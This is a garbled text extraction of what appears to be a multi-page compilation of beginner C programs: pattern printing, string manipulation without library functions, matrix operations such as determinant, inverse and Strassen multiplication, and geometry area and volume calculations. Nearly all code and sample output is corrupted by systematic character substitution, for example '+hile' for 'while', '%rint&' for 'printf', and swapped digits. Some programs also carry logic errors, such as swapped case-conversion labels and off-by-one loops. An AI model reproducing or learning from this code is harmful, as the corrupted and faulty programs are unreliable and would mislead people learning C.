You are on page 1of 343

Print Following Pattern

Question : Print Following while X is entered by user . Here X=4 0001000 0011100 0111110 1111111 Ans : #include<stdio.h> #include<conio.h> void main( ! int i"#"no$ clrscr( $ %rint&('(n Please )nter *o + , ' $ scan&('-d'".no $ %rint&('(n(n ' $ &or(i/0$i<no$i00 ! &or(#/0$#<no$#00 ! i&(#>/no,1,i %rint&('1' $ else %rint&('0' $ 1 &or(#/1$#<no$#00 ! i&(#</i %rint&('1' $ else %rint&('0' $ 1 %rint&('(n ' $ 1 getch( $ 1 *o comments+ 2ategory + Program" 3olution

friends Help Me i want to print this type of pattern


Problem : &riends Hel% 4e i want to %rint this ty%e o& %attern+ 5 ..5 ....5

......5 ........5 ..........5 ............5 ..............5 .................5 where dot showing the s%ace Solution : #include<stdio.h> #include<conio.h> void main( ! int i/0"no/0"#/0$ clrscr( $ %rint&('(nPlease )nter 6he *umber + , ' $ scan&('-d'".no $ &or(i/0$i<no$i00 ! %rint&('(n' $ &or(#/0$#<no$#00 ! i&(i//# %rint&('5' $ else %rint&(' ' $ 1 1 getch( $ 1 *o comments+ 2ategory + Program" 3olution

an any one help me for this program


Problem : 2an any one hel% me &or this %rogram. 11 1771 178871 17899871 %l: hel% me soon.. Solution :

#include<stdio.h> #include<conio.h> void main( !

int i/0"#/0"no/0$ clrscr( $ %rint&('(n Please )nter 6he *umber + , ' $ scan&('-d'".no $ &or(i/1$i</no$i00 ! %rint&('(n' $ &or(#/1$#</i$#00 ! %rint&('-d'"# $ 1 &or(#/no$#>0$#,, ! i&(#</i %rint&('-d'"# $ 1 1 getch( $ 1 *o comments+ 2ategory + Program" 3olution

pl! gi"e me the solution of the following matri# in


Problem : %l: give me the solution o& the &ollowing matri; in c 11110 1 1 1 0 ,1 1 1 0 ,1 ,1 1 0 ,1 ,1 ,1 0 ,1 ,1 ,1 ,1 %l:: hel%....... Solution : #include<stdio.h> #include<conio.h> void main( ! int i/0"#/0"no/0$ clrscr( $ %rint&('(nPlease )nter 6he number + , ' $ scan&('-d'".no $ &or(i/0$i<no$i00 ! %rint&('(n' $ &or(#/0$#<no$#00 ! i&(i//(no,#,1 %rint&('0' $ else i&(i<(no,#,1 %rint&('1' $ else %rint&(',1' $

1 1 getch( $ 1 *o comments+ 2ategory + Program" 3olution

how to on"ert string to AS$%% in $


Program to convert string into ASCII values in c programming language: #include<stdio.h> int main(){ char str[100]; int i=0; printf(" nter an! strin"# "); scanf("$s"%str); printf("&'()) *alues of each characters of "i*en strin"# "); +hile(str[i]) printf("$d "%str[i,,]); return 0; 'ample .utput# nter an! strin"# ctechnotips./lo"spot.com &'()) *alues of each characters of "i*en strin"# 00 111 101 00 102 110 111 111 103 114 113 21 05 105 111 106 113 114 111 111 21 00 111 100
*o comments+ 2ategory + Program

how to string opy without using str py in


String copy without using strcpy in c programming language #include<stdio.h>

*oid strin"(op!(char[]%char[]); int main(){

char str1[100]%str4[100]; printf(" nter an! strin"# "); scanf("$s"%str1); strin"(op!(str1%str4); printf("&fter cop!in"# $s"%str4); return 0;

*oid strin"(op!(char str1[]%char str4[]){ int i=0; +hile(str1[i]7=8908){ str4[i] = str1[i]; i,,; str4[i]=8908; 'ample output# nter an! strin"# ctechnotips./lo"spot.com &fter cop!in"# ctechnotips./lo"spot.com
*o comments+ 2ategory + Program

How to ompare two strings in


C program to compare string functions #include<stdio.h> two

without using str mp


strings without using

int strin"(ompare(char[]%char[]);

int main(){ char str1[100]%str4[100]; int compare; printf(" nter first strin"# "); scanf("$s"%str1); printf(" nter second strin"# "); scanf("$s"%str4); compare = strin"(ompare(str1%str4); if(compare == 1) printf(":oth strin"s are e;ual."); else printf(":oth strin"s are not e;ual"); return 0; int strin"(ompare(char str1[]%char str4[]){ int i=0%fla"=0; +hile(str1[i]7=8908 << str4[i]7=8908){ if(str1[i]7=str4[i]){ fla"=1; /rea=; i,,; if (fla"==0 << str1[i]==8908 << str4[i]==8908) return 1; else return 0; 'ample output# nter first strin"# ctechnotips./lo"spot.com nter second strin"# ctechnotips./lo"spot.com :oth strin"s are e;ual.

*o comments+ 2ategory + Program

String on atenation in
String concatenation functions #include<stdio.h>

without using str at


in c without using string

*oid strin"(oncat(char[]%char[]); int main(){ char str1[100]%str4[100]; int compare; printf(" nter first strin"# "); scanf("$s"%str1); printf(" nter second strin"# "); scanf("$s"%str4); strin"(oncat(str1%str4); printf("'trin" after concatenation# $s"%str1); return 0; *oid strin"(oncat(char str1[]%char str4[]){ int i=0%>=0; +hile(str1[i]7=8908){ i,,; +hile(str4[>]7=8908){ str1[i] = str4[>]; i,,; >,,; str1[i] = 8908;

'ample output# nter first strin"# ctechnotips nter second strin"# ?/lo"spot.com 'trin" after concatenation# ctechnotips?/lo"spot.com
*o comments+ 2ategory + Program

&e"erse a string using re ursion in


C code to reverse a string by recursion: #include<stdio.h> #define @&A 100 charB "etCe*erse(char[]); int main(){ char str[@&A]%Bre*; printf(" nter an! strin"# "); scanf("$s"%str); re* = "etCe*erse(str); printf("Ce*ersed strin" is# $s"%re*); return 0; charB "etCe*erse(char str[]){ static int i=0; static char re*[@&A]; if(Bstr){ "etCe*erse(str,1); re*[i,,] = Bstr; return re*;

Sample output: nter an! strin"# mona Ce*ersed strin" is# anom
*o comments+ 2ategory + Program

'rite a

program to re"erse a string

Reverse a string in c without using temp String reverse using strrev in c programming language #include<stdio.h> #include<strin".h> int main(){ char str[30]; char Bre*; printf(" nter an! strin" # "); scanf("$s"%str); re* = strre*(str); printf("Ce*erse strin" is # $s"%re*); return 0; String reverse in c without using strrev String reverse in c without using string function How to reverse a string in c without using reverse function #include<stdio.h> int main(){ char str[30]; char re*[30]; int i=D1%>=0; printf(" nter an! strin" # "); scanf("$s"%str); +hile(str[,,i]7=8908);

+hile(i>=0) re*[>,,] = str[DDi]; re*[>]=8908; printf("Ce*erse of strin" is # $s"%re*); return 0;

'ample output# nter an! strin" # c;uestion/an=./lo"spot.com Ce*erse of strin" is # moc.tops"ol/.=na/noitseu;c Reverse a string in c using pointers C program to reverse a string using pointers #include<stdio.h> int main(){ char str[30]; char re*[30]; char Bsptr = str; char Brptr = re*; int i=D1; printf(" nter an! strin" # "); scanf("$s"%str); +hile(Bsptr){ sptr,,; i,,; +hile(i>=0){ sptrDD; Brptr = Bsptr; rptr,,; DDi; -

Brptr=8908; printf("Ce*erse of strin" is # $s"%re*); return 0; 'ample output# nter an! strin" # Eointer Ce*erse of strin" is # retnioE

'rite a program to print the string from gi"en hara ter


#include<strin".h> #include<stdio.h> int main(){ char Bp; char s[40]%s1[1]; printf("9n nter a strin"# "); scanf("$[F9n]"%s); fflush(stdin); printf("9n nter character# "); "ets(s1); p=strp/r=(s%s1); printf("9nGhe strin" from the "i*en character is# $s"%p); return 0; *o comments+ 2ategory + Program

'rite a

C code which prints initial of any name

program whi h prints initial of any name

#include<stdio.h> int main(){ char str[40]; int i=0; printf(" nter a strin"# "); "ets(str);

printf("$c"%Bstr); +hile(str[i]7=8908){ if(str[i]==8 8){ i,,; printf("$c"%B(str,i)); i,,; return 0;

Sample output: nter a strin"# Co/ert He Iiro CHI


*o comments+ 2ategory + Program

$()$A*+)A*%() (F *'( S*&%),S -S%), P(%)*+& %) $ P&(,&AM


Concatenation of two programming language strings using pointer in c

#include<stdio.h> int main(){ int i=0%>=0; char Bstr1%Bstr4%Bstr6; puts(" nter first strin""); "ets(str1); puts(" nter second strin""); "ets(str4); printf(":efore concatenation the strin"s are9n"); puts(str1); puts(str4); +hile(Bstr1){ str6[i,,]=Bstr1,,; +hile(Bstr4){ str6[i,,]=Bstr4,,; str6[i]=8908;

printf("&fter concatenation the strin"s are9n"); puts(str6); return 0;

*o comments+ 2ategory + Program

$()$A*+)A*%() (F *'( S*&%),S -S%), $ P&(,&AM


Concatenation language of two strings in c programming

#include<stdio.h> int main(){ int i=0%>=0; char str1[40]%str4[40]; puts(" nter first strin""); "ets(str1); puts(" nter second strin""); "ets(str4); printf(":efore concatenation the strin"s are9n"); puts(str1); puts(str4); +hile(str1[i]7=8908){ i,,; +hile(str4[>]7=8908){ str1[i,,]=str4[>,,]; str1[i]=8908; printf("&fter concatenation the strin"s are9n"); puts(str1); return 0; *o comments+ 2ategory + Program

S(&*%), (F S*&%), -S%), $ P&(,&AM


Program for sorting of string in c language #include<stdio.h> int main(){

int i%>%n; char str[40][40]%temp[40]; puts(" nter the no. of strin" to /e sorted"); scanf("$d"%<n); for(i=0;i<=n;i,,) "ets(str[i]); for(i=0;i<=n;i,,) for(>=i,1;><=n;>,,){ if(strcmp(str[i]%str[>])>0){ strcp!(temp%str[i]); strcp!(str[i]%str[>]); strcp!(str[>]%temp); printf("Ghe sorted strin"9n"); for(i=0;i<=n;i,,) puts(str[i]); return 0; *o comments+ 2ategory + Program

$(-)*%), .%FF+&+)* $HA&A$*+&S %) A S*&%), -S%), $ P&(,&AM


#include <stdio.h> int isvowel(char ch=); int main(){ char teJt[1000]% ch=; int count; count = 0; while((teJt[count] = "etchar()) 7= 89n8) count,,; teJt[count] = 8908; count = 0; while ((ch= = teJt[count]) 7= 8908){ if (is*o+el(ch=)){ if((ch= = teJt[,,count]) << is*o+el(ch=)){ putchar(teJt[count D1]); putchar(teJt[count]); putchar(89n8);

else return 0;

,,count;

int isvowel(char ch=){ if(ch= == 8a8 KK ch= == 8e8 KK ch= == 8i8 KK ch= == 8o8 KK ch= == 8u8) return 1; return 0; *o comments+ 2ategory + Program

'rite a program to on"ert the string from lower ase to upper ase
rite a c program to convert the string from lower case to upper case #include<stdio.h> int main(){ char str[40]; int i; printf(" nter an! strin"D>"); scanf("$s"%str); printf("Ghe strin" isD>$s"%str); for(i=0;i<=strlen(str);i,,){ if(str[i]>=0L<<str[i]<=144) str[i]=str[i]D64; printf("9nGhe strin" in lo+ercase isD>$s"%str); return 0; Algorithm:

&'()) *alue of 8&8 is 13 +hile 8a8 Hifference /et+een them is 0L M 13 = 64

is

0L.

'o if +e +ill add 64 in the &'()) *alue of 8&8 then it +ill /e 8a8 and if +ill +e su/tract 64 in &'()) *alue of 8a8 it +ill /e 8&8. )t is true for all alpha/ets. )n "eneral rule# Npper case character = Oo+er case character M 64 Oo+er case character = Npper case character , 64
*o comments+ 2ategory + Program

$()/+&S%() F&(M -PP+&$AS+ *( 0('+& $AS+ -S%), $ P&(,&AM


Conversion from uppercase to lower case using c program #include<stdio.h> #include<strin".h> int main(){ char str[40]; int i; printf(" nter an! strin"D>"); scanf("$s"%str); printf("Ghe strin" isD>$s"%str); for(i=0;i<=strlen(str);i,,){ if(str[i]>=13<<str[i]<=00) str[i]=str[i],64; printf("9nGhe strin" in uppercase isD>$s"%str); return 0; Algorithm:

&'()) *alue of 8&8 is 13 +hile 8a8 is 0L. Hifference /et+een them is 0L M 13 = 64 'o if +e +ill add 64 in the &'()) *alue of 8&8 then it +ill /e 8a8 and if +ill +e su/tract 64 in &'()) *alue of 8a8 it +ill /e 8&8. )t is true for all alpha/ets. )n "eneral rule# Npper case character = Oo+er case character M 64

Oo+er case character = Npper case character , 64


*o comments+ 2ategory + Program

$ program to find determinant of a matri#


Code to find determinant of a matri! C program to calculate determinant of a matri! #include<stdio.h> int main(){ int a[6][6]%i%>; int determinant=0; printf(" nter the 0 elements of matriJ# "); for(i=0;i<6;i,,) for(>=0;><6;>,,) scanf("$d"%<a[i][>]); printf("9nGhe Pirst matriJ is9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) printf("$d9t"%a[i][>]); for(i=0;i<6;i,,) determinant = determinant , (a[0][i]B(a[1] [(i,1)$6]Ba[4][(i,4)$6] D a[1][(i,4)$6]Ba[4] [(i,1)$6])); printf("9nHeterminant of matriJ is# $d"%determinant); return 0;

C code for "eterminant of #$# matri!: #include<stdio.h>

int main(){ int a[4][4]%i%>; lon" determinant; printf(" nter the 2 elements of matriJ# "); for(i=0;i<4;i,,) for(>=0;><4;>,,) scanf("$d"%<a[i][>]); printf("9nGhe matriJ is9n"); for(i=0;i<4;i,,){ printf("9n"); for(>=0;><4;>,,) printf("$d9t"%a[i][>]); determinant = a[0][0]Ba[1][1] D a[1][0]Ba[0][1]; printf("9nHeterminant of 4A4 matriJ# $ld"%determinant); return 0; 5 6 0 nter the 2 elements of matriJ# 2

Ghe matriJ is 2 6 5 0

Heterminant of 4A4 matriJ# 14 C code for "eterminant of %$% matri!: #include<stdio.h> int main(){

int a[6][6]%i%>; lon" determinant;

printf(" nter the 0 elements of matriJ# "); for(i=0;i<6;i,,) for(>=0;><6;>,,) scanf("$d"%<a[i][>]); printf("9nGhe matriJ is9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) printf("$d9t"%a[i][>]); determinant = a[0][0]B((a[1][1]Ba[4][4]) D (a[4] [1]Ba[1][4])) Da[0][1]B(a[1][0]Ba[4][4] D a[4] [0]Ba[1][4]) , a[0][4]B(a[1][0]Ba[4][1] D a[4] [0]Ba[1][1]); printf("9nHeterminant of 6A6 matriJ# $ld"%determinant); return 0; 'ample output# nter the 0 elements of matriJ# 1 4 6 2 3 1 L 5 0 Ghe matriJ is

1 2 L

4 3 5

6 1 0

Heterminant of 6A6 matriJ# 0

&lo"rithm#
Heterminant is possi/le onl! for s;uare matriJes i.e. n /! n matriJes. "eterminant of # by # matri!:

Heterminant of matriJ has defined as# ad M c/ "eterminant of % by % matri!: Heterminant of matriJ has defined as# a00(a11Ba44 M a41Ba14) , a01(a10Ba44 M a40Ba14) , a04(a10Ba41 M a40Ba11)

Strassen1s matri# multipli ation program in


C code of two # by # matri! multiplication using Strassen algorithm: #include<stdio.h> int main(){ int a[4][4]%/[4][4]%c[4][4]%i%>; int m1%m4%m6%m2%m3%m1%mL; printf(" nter the 2 elements of first matriJ# "); for(i=0;i<4;i,,) for(>=0;><4;>,,) scanf("$d"%<a[i][>]); printf(" nter the 2 elements of second matriJ# "); for(i=0;i<4;i,,) for(>=0;><4;>,,) scanf("$d"%</[i][>]); printf("9nGhe first matriJ is9n"); for(i=0;i<4;i,,){ printf("9n"); for(>=0;><4;>,,) printf("$d9t"%a[i][>]); printf("9nGhe second matriJ is9n");

for(i=0;i<4;i,,){ printf("9n"); for(>=0;><4;>,,) printf("$d9t"%/[i][>]); m1= m4= m6= m2= m3= m1= mL= (a[0][0] , a[1][1])B(/[0][0],/[1][1]); (a[1][0],a[1][1])B/[0][0]; a[0][0]B(/[0][1]D/[1][1]); a[1][1]B(/[1][0]D/[0][0]); (a[0][0],a[0][1])B/[1][1]; (a[1][0]Da[0][0])B(/[0][0],/[0][1]); (a[0][1]Da[1][1])B(/[1][0],/[1][1]);

c[0][0]=m1,m2Dm3,mL; c[0][1]=m6,m3; c[1][0]=m4,m2; c[1][1]=m1Dm4,m6,m1; printf("9n&fter multiplication usin" 9n"); for(i=0;i<4;i,,){ printf("9n"); for(>=0;><4;>,,) printf("$d9t"%c[i][>]); return 0;

'ample output# nter the 2 elements of first matriJ# 1 4 6 2 nter the 2 elements of second matriJ# 3 1 L 5 Ghe first matriJ is 1 4

6 2 Ghe second matriJ is 3 1 L 5 &fter multiplication usin" 10 26 44 30

*o comments+ 2ategory + Program

-pper triangular matri# in


C code to print or display upper

triangular matri!

#include<stdio.h> int main(){ int a[6][6]%i%>; float determinant=0; printf(" nter the 0 elements of matriJ# "); for(i=0;i<6;i,,) for(>=0;><6;>,,) scanf("$d"%<a[i][>]); printf("9nGhe matriJ is9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) printf("$d9t"%a[i][>]); printf("9n'ettin" Qero in upper trian"ular matriJ9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) if(i>=>) printf("$d9t"%a[i][>]); else printf("$d9t"%0); -

return 0;

'ample output# nter the 0 elements of matriJ# 1 4 6 2 3 1 L 5 0 Ghe matriJ is 1 2 L 'ettin" 1 2 L 4 3 5 Qero in 0 3 5 6 1 0 upper trian"ular matriJ 0 0 0

*o comments+ 2ategory + Program

0ower triangular matri# in


C code to print or display lower

triangular matri!

#include<stdio.h> int main(){ int a[6][6]%i%>; float determinant=0; printf(" nter the 0 elements of matriJ# "); for(i=0;i<6;i,,) for(>=0;><6;>,,) scanf("$d"%<a[i][>]);

printf("9nGhe matriJ is9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) printf("$d9t"%a[i][>]); printf("9n'ettin" Qero in upper trian"ular matriJ9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) if(i<=>) printf("$d9t"%a[i][>]); else printf("$d9t"%0); return 0; 4 6 2 3 1 L 5 0 nter the 0 elements of matriJ# 1

Ghe matriJ is 1 2 L 'ettin" 1 0 0 4 3 5 Qero in 4 3 0 6 1 0 upper trian"ular matriJ 6 1 0

*o comments+ 2ategory + Program

$ program to find in"erse of a matri#


How to find inverse of a matri! in c C code to find inverse of a matri! Inverse of a %!% matri! in c #include<stdio.h> int main(){ int a[6][6]%i%>; float determinant=0; printf(" nter the 0 elements of matriJ# "); for(i=0;i<6;i,,) for(>=0;><6;>,,) scanf("$d"%<a[i][>]); printf("9nGhe matriJ is9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) printf("$d9t"%a[i][>]); for(i=0;i<6;i,,) determinant = determinant , (a[0][i]B(a[1] [(i,1)$6]Ba[4][(i,4)$6] D a[1][(i,4)$6]Ba[4] [(i,1)$6])); printf("9n)n*erse of matriJ is# 9n9n"); for(i=0;i<6;i,,){ for(>=0;><6;>,,) printf("$.4f9t"%((a[(i,1)$6][(>,1)$6] B a[(i,4)$6][(>,4)$6]) D (a[(i,1)$6] [(>,4)$6]Ba[(i,4)$6][(>,1)$6]))R determinant); printf("9n"); return 0; -

nter the 0 elements of matriJ# 6 3 4 1 3 5 6 0 4 Ghe matriJ is 6 1 6 )n*erse 0.L0 D0.00 D0.62 3 4 3 5 0 4 of matriJ is# D0.43 D0.00 0.43 0.0L 0.12 D0.11

*o comments+ 2ategory + Program

'rite a

program to find out transport of a matri#

C program for transpose of a matri! C program to find transpose of given matri!

#include<stdio.h> int main(){ int a[10][10]%/[10][10]%i%>%==0%m%n; printf("9n nter the ro+ and column of matriJ"); scanf("$d $d"%<m%<n); printf("9n nter the Pirst matriJD>"); for(i=0;i<m;i,,) for(>=0;><n;>,,) scanf("$d"%<a[i][>]); printf("9nGhe matriJ is9n"); for(i=0;i<m;i,,){ printf("9n"); for(>=0;><m;>,,){

printf("$d9t"%a[i][>]);

for(i=0;i<m;i,,) for(>=0;><n;>,,) /[i][>]=0; for(i=0;i<m;i,,){ for(>=0;><n;>,,){ /[i][>]=a[>][i]; printf("9n$d"%/[i][>]); printf("9n9nGraspose of a matriJ is D> "); for(i=0;i<m;i,,){ printf("9n"); for(>=0;><m;>,,){ printf("$d9t"%/[i][>]); return 0; -

M-0*%P0%$A*%() (F *'( MA*&%$+S -S%), $ P&(,&AM


&ultiplication of two matri!es: Cule# @ultiplication of t+o matriJes is onl! possi/le if first matriJ has siQe m A n and other matriJ has siQe n J r. Shere m% n and r are an! positi*e inte"er. &ultiplication of two matri!es is defined as

Shere 1 T i T m and 1 T j T n Por eJample# 'uppose t+o matriJes & and : of siQe of 4 J 4 and 4 J 6 respecti*el!#

'( #( %( )( *( +(

C code for matri! multiplication C program for matri! multiplication rite a program for matri! multiplication in c How to multiply two matri!es in c &atri! multiplication program in c language &atri! multiplication in c using array

#include<stdio.h> int main(){ int a[3][3]%/[3][3]%c[3][3]%i%>%=%sum=0%m%n%o%p; printf("9n nter the ro+ and column of first matriJ"); scanf("$d $d"%<m%<n); printf("9n nter the ro+ and column of second matriJ"); scanf("$d $d"%<o%<p); if(n7=o){ printf("@atriJ mutiplication is not possi/le"); printf("9n(olumn of first matriJ must /e same as ro+ of second matriJ"); else{ printf("9n nter the Pirst matriJD>"); for(i=0;i<m;i,,) for(>=0;><n;>,,) scanf("$d"%<a[i][>]); printf("9n nter the 'econd matriJD>"); for(i=0;i<o;i,,) for(>=0;><p;>,,) scanf("$d"%</[i][>]); printf("9nGhe Pirst matriJ is9n"); for(i=0;i<m;i,,){ printf("9n"); for(>=0;><n;>,,){ printf("$d9t"%a[i][>]); printf("9nGhe 'econd matriJ is9n"); for(i=0;i<o;i,,){ printf("9n"); for(>=0;><p;>,,){ printf("$d9t"%/[i][>]); for(i=0;i<m;i,,) for(>=0;><p;>,,)

printf("9nGhe multiplication of t+o matriJ is9n"); for(i=0;i<m;i,,){ printf("9n"); for(>=0;><p;>,,){ printf("$d9t"%c[i][>]); return 0; *o comments+ 2ategory + Program

c[i][>]=0; for(i=0;i<m;i,,){ RRro+ of first matriJ for(>=0;><p;>,,){ RRcolumn of second matriJ sum=0; for(==0;=<n;=,,) sum=sum,a[i][=]B/[=][>]; c[i][>]=sum; -

S-2*&A$*%() (F *'( MA*&%$+S -S%), $ P&(,&AM


Subtraction of two matri!es: Cule# 'u/traction of t+o matriJes is onl! possi/le if /oth matriJes are of same siQe. 'uppose t+o matriJes & and : is of same siQe m A n Subtraction of two mari!es is defined as (& D :)i> = &i> D :i> Shere 1 T i T m and 1 T j T n Por eJample# 'uppose t+o matriJes & and : of siQe of 6 A 4 is as follo+#

C,"- :

#include<stdio.h> int main(){ int a[6][6]%/[6][6]%c[6][6]%i%>; printf(" nter the Pirst matriJD>"); for(i=0;i<6;i,,) for(>=0;><6;>,,) scanf("$d"%<a[i][>]); printf("9n nter the 'econd matriJD>"); for(i=0;i<6;i,,) for(>=0;><6;>,,) scanf("$d"%</[i][>]); printf("9nGhe Pirst matriJ is9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) printf("$d9t"%a[i][>]); -

printf("9nGhe 'econd matriJ is9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) printf("$d9t"%/[i][>]); for(i=0;i<6;i,,) for(>=0;><6;>,,) c[i][>]=a[i][>]D/[i][>]; printf("9nGhe 'u/traction of t+o matriJ is9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) printf("$d9t"%c[i][>]); return 0; *o comments+ 2ategory + Program

A..%*%() (F *'( MA*&%$+S -S%), $ P&(,&AM

Addition of two matri!es: Cule# &ddition of t+o matriJes is onl! possi/le if /oth matriJes are of same siQe. 'uppose t+o matriJes & and : is of same siQe m A n Sum of two mari!es is defined as (& , :)i> = &i> , :i> Shere 1 T i T m and 1 T j T n Por eJample# 'uppose t+o matriJes & and : of siQe of 4 A 6 is as follo+#

&atri! addition in c language C code:


#include<stdio.h> int main(){ int a[6][6]%/[6][6]%c[6][6]%i%>; printf(" nter the Pirst matriJD>"); for(i=0;i<6;i,,) for(>=0;><6;>,,) scanf("$d"%<a[i][>]); printf("9n nter the 'econd matriJD>"); for(i=0;i<6;i,,) for(>=0;><6;>,,) scanf("$d"%</[i][>]); printf("9nGhe Pirst matriJ is9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) printf("$d9t"%a[i][>]); printf("9nGhe 'econd matriJ is9n"); for(i=0;i<6;i,,){

for(i=0;i<6;i,,) for(>=0;><6;>,,) c[i][>]=a[i][>],/[i][>]; printf("9nGhe &ddition of t+o matriJ is9n"); for(i=0;i<6;i,,){ printf("9n"); for(>=0;><6;>,,) printf("$d9t"%c[i][>]); return 0; *o comments+ 2ategory + Program

printf("9n"); for(>=0;><6;>,,) printf("$d9t"%/[i][>]);

'rite a program to find the "olume and surfa e area of sphere


C program for area of a sphere

.ormula of surface area of sphere: 'urfaceUarea = 2 B Eie B r4 .ormula of volume of sphere: Volume = 2R6 B Eie B r6 Eie = 44RL or 6.121304136350L064652141266564L030455210L1106006L31 0...

C code: #include<stdio.h> #include<math.h> int main(){ float r; float surfaceUarea%*olume; printf(" nter radius of the sphere # "); scanf("$f"%<r); surfaceUarea = 2B @UE) B r B r; *olume = (2.0R6) B @UE) B r B r B r; printf("'urface area of sphere is# $.6f"%surfaceUarea); printf("9nVolume of sphere is # $.6f"%*olume); return 0; Sample output: nter radius of the sphere# 3 'urface area of sphere is# 612.130 Volume of sphere is# 346.300
*o comments+ 2ategory + Program

'rite a program to find the "olume and surfa e area of one

.ormula of surface area of cone: 'urfaceUarea = Eie B r B (r , W (r4 , h4)) .ormula of volume of cone: Volume = 1R6 B Eie B r4 B h Eie = 44RL or 6.121304136350L064652141266564L030455210L1106006L31 0...

rite a c program or code to find or calculate the volume and surface area of cone
#include<stdio.h> #include<math.h> int main(){ float r%h; float surfaceUarea%*olume; printf(" nter siQe of radius and hei"ht of a cone # "); scanf("$f$f"%<r%<h); surfaceUarea = @UE) B r B (r , s;rt(rBr , hBh)); *olume = (1.0R6) B @UE) B r B r B h;

printf("'urface area of cone is# $.6f"%surfaceUarea); printf("9nVolume of cone is # $.6f"%*olume); return 0;

'ample output# nter siQe of radius and hei"ht of a cone# 6 10 'urface area of cone is# 141.1L4 Volume of cone is# 02.425

'rite a program to find the "olume and surfa e area of ylinder


C program for area of a cylinder

.ormula of surface area of cylinder: 'urfaceUarea = 4 B Eie B r B (r , h) .ormula of volume of cylinder: Volume = Eie B r B r B h Eie = 44RL or 6.121304136350L064652141266564L030455210L1106006L31 0... C code:

#include<stdio.h> #include<math.h> int main(){ float r%h; float surfaceUarea%*olume; printf(" nter siQe of radius and hei"ht of a c!linder # "); scanf("$f$f"%<r%<h); surfaceUarea = 4 B @UE) B r B (r , h); *olume = @UE) B r B r B h; printf("'urface area of c!linder is# $.6f"%surfaceUarea); printf("9nVolume of c!linder is # $.6f"%*olume); return 0; Sample output: nter siQe of radius and hei"ht of a c!linder# 2 10 'urface area of c!linder is# 631.535 Volume of c!linder is# 304.133
*o comments+ 2ategory + Program

'rite a program to find the "olume and surfa e area of uboids


C program for area of a cuboids

.ormula of surface area of cuboids: 'urfaceUarea = 4 B(+Bl , lBh , hB+) .ormula of volume of cuboids: Volume = + B l B h Space diagonal of cuboids: 'paceUdia"onal = W (+B+ , lBl , hBh) C code: #include<stdio.h> int main(){ float +%l%h; float surfaceUarea%*olume%spaceUdia"onal; printf(" nter siQe of +idth% len"th and hei"ht of a cu/oids # "); scanf("$f$f$f"%<+%<l%<h); surfaceUarea = 4B(+Bl , lBh , hB+); *olume = + B l B h; spaceUdia"onal = s;rt(+B+ , lBl , hBh);

printf("'urface area of cu/oids is# $.6f"%surfaceUarea); printf("9nVolume of cu/oids is # $.6f"%*olume); printf("9n'pace dia"onal of cu/oids is # $.6f"%spaceUdia"onal); return 0; Sample output: nter siQe of +idth% len"th and hei"ht of cu/oids# 3 10 2 'urface area of cu/oids is# 440.000 Volume of cu/oids is# 400.000 'pace dia"onal of cu/oids is# 11.5L2
*o comments+ 2ategory + Program

'rite a program to find the "olume and surfa e area of a ube


C program for area of a cube

.ormula of surface area of cube: 'urfaceUarea = 1 B a4 .ormula of volume of cube:

Volume = a6 C code: #include<stdio.h> int main(){ float a; float surfaceUarea%*olume; printf(" nter siQe of an! side of a cu/e # "); scanf("$f"%<a); surfaceUarea = 1 B (a B a); *olume = a B a B a; printf("'urface area of cu/e is# $.6f"%surfaceUarea); printf("9nVolume of cu/e is # $.6f"%*olume); return 0; Sample output: nter siQe of an! side of a cu/e# 6 'urface area of cu/e is# 32.000 Volume of cu/e is# 4L.000
*o comments+ 2ategory + Program

'rite a

program to find the area of a trape!ium

C program for area of a trape/ium

.ormula of area of trape/ium: &rea = (1R4) B (a , /) B h C code: #include<stdio.h> int main(){ float /1%/4%h; float area; printf(" nter the siQe of t+o /ases and hei"ht of the trapeQium # "); scanf("$f$f$f"%</1%</4%<h); area = 0.3 B ( /1 , /4 ) B h ; printf("&rea of trapeQium is# $.6f"%area); return 0; Sample output: nter the siQe of t+o /ases and hei"ht of the trapeQium# 3 5 6 &rea of trapeQium is# 10.300
*o comments+ 2ategory + Program

'rite a

program to find the area of a re tangle

C program for area of a rectangle

.ormula of area of rectangle: &rea = len"th B +idth C code: #include<stdio.h> int main(){ float l%+; float area; printf(" nter siQe of each sides of the rectan"le # "); scanf("$f$f"%<l%<+); area = l B +; printf("&rea of rectan"le is# $.6f"%area); return 0;

Sample output: nter siQe of each sides of the rectan"le# 3.4 40 &rea of rectan"le is# 102.000
*o comments+ 2ategory + Program

'rite a program to find the area of a right angled triangle


C program for area of right angled triangle

.ormula of area of right angled triangle: &rea = (1R4) B hei"ht B +idth C code: #include<stdio.h> int main(){ float h%+; float area; printf(" nter hei"ht and +idth of the ri"ht an"led trian"le # "); scanf("$f$f"%<h%<+); area = 0.3 B h B +; printf("&rea of ri"ht an"led trian"le is# $.6f"%area); return 0; Sample output: nter hei"ht and +idth of the ri"ht an"led trian"le# 10 3 &rea of ri"ht an"led trian"le is# 43.000
*o comments+ 2ategory + Program

'rite a program to find the area of an e3uilateral triangle


C program for area of e0uilateral triangle

.ormula of area of e0uilateral triangle: &rea = (W6)R2 B a4 C code: #include<stdio.h> #include<math.h> int main(){ float a; float area; printf(" nter siQe of side of the e;uilateral trian"le # "); scanf("$f"%<a); area = s;rt(6)R2B(aBa); printf("&rea of e;uilateral trian"le is# $.6f"%area); return 0; Sample output:

nter siQe of side of the e;uilateral trian"le# 3 &rea of e;uilateral trian"le is# 10.543
< *o comments+ 2ategory + Program

'rite a

program to find the area of a triangle

C program for area of a triangle

.ormula of area of any triangle: &rea = W(sB(sDa)B(sD/)B(sDc)) Shere s = (a , / , c)R4 C code: #include<stdio.h> #include<math.h> int main(){ float a%/%c; float s%area; printf(" nter siQe of each sides of trian"le"); scanf("$f$f$f"%<a%</%<c); s = (a,/,c)R4; area = s;rt(sB(sDa)B(sD/)B(sDc)); printf("&rea of trian"le is# $.6f"%area);

return 0;

Sample output: nter siQe of each sides of the trian"le# 4 2 3 &rea of trian"le is# 6.500

